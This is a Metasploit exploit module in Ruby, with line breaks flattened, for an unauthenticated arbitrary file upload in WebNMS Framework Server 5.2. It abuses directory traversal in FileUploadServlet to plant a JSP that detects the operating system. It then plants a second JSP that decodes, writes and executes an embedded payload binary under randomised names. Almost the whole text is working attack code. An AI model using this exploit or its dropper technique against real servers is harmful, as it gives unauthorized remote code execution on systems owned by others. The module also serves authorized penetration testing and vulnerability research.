## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info = {}) super( update_info( info, 'Name' => 'WebNMS Framework Server Arbitrary File Upload', 'Description' => %q( This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an unauthenticated user to upload text files by using a directory traversal attack on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and executes a malicious payload, achieving code execution under the user which the WebNMS server is running. This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on Windows and Linux. ), 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ] ], 'DefaultOptions' => { 'WfsDelay' => 15 }, 'Privileged' => false, 'Platform' => %w(linux win), 'Targets' => [ [ 'Automatic', {} ], [ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], [ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 4 2016' ) ) register_options( [ Opt::RPORT(9090), OptString.new('TARGETURI', [ true, "WebNMS path", '/']) ], self.class ) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'), 'method' => 'GET' ) if res && res.code == 405 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def upload_payload(payload, is_exploit) jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp' if is_exploit print_status("#{peer} - Uploading payload...") end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'), 'method' => 'POST', 'data' => payload.to_s, 'ctype' => 'text/html', 'vars_get' => { 'fileName' => '../jsp/' + jsp_name } ) if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/ if is_exploit print_status("#{peer} - Payload uploaded successfully") end return jsp_name else return nil end end def pick_target return target if target.name != 'Automatic' print_status("#{peer} - Determining target") os_finder_payload = %{<html><body><%out.println(System.getProperty("os.name"));%></body><html>} jsp_name = upload_payload(os_finder_payload, false) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name), 'method' => 'GET' ) if res && res.code == 200 register_files_for_cleanup('jsp/' + jsp_name) if res.body.include? "Linux" return targets[1] elsif res.body.include? "Windows" return targets[2] end end return nil end def generate_jsp_payload opts = { arch: @my_target.arch, platform: @my_target.platform } payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) exe = generate_payload_exe(opts) base64_exe = Rex::Text.encode_base64(exe) native_payload_name = rand_text_alpha(rand(6) + 3) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' var_raw = rand_text_alpha(rand(8) + 3) var_ostream = rand_text_alpha(rand(8) + 3) var_buf = rand_text_alpha(rand(8) + 3) var_decoder = rand_text_alpha(rand(8) + 3) var_tmp = rand_text_alpha(rand(8) + 3) var_path = rand_text_alpha(rand(8) + 3) var_proc2 = rand_text_alpha(rand(8) + 3) if @my_target['Platform'] == 'linux' var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) chmod = %| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) cleanup = %| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | else chmod = '' cleanup = '' end jsp = %| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% try { String #{var_buf} = "#{base64_exe}"; BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); #{chmod} Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); #{cleanup} } catch (Exception e) { } %> | jsp.delete!("\n\r\t") return jsp end def exploit @my_target = pick_target if @my_target.nil? print_error("#{peer} - Unable to select a target, we must bail.") return else print_status("#{peer} - Selected target #{@my_target.name}") end # When using auto targeting, MSF selects the Windows meterpreter as the default payload. # Fail if this is the case and ask the user to select an appropriate payload. if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/ fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") end jsp_payload = generate_jsp_payload jsp_name = upload_payload(jsp_payload, true) if jsp_name.nil? fail_with(Failure::Unknown, "#{peer} - Payload upload failed") else register_files_for_cleanup('jsp/' + jsp_name) end print_status("#{peer} - Executing payload...") send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name), 'method' => 'GET' ) end end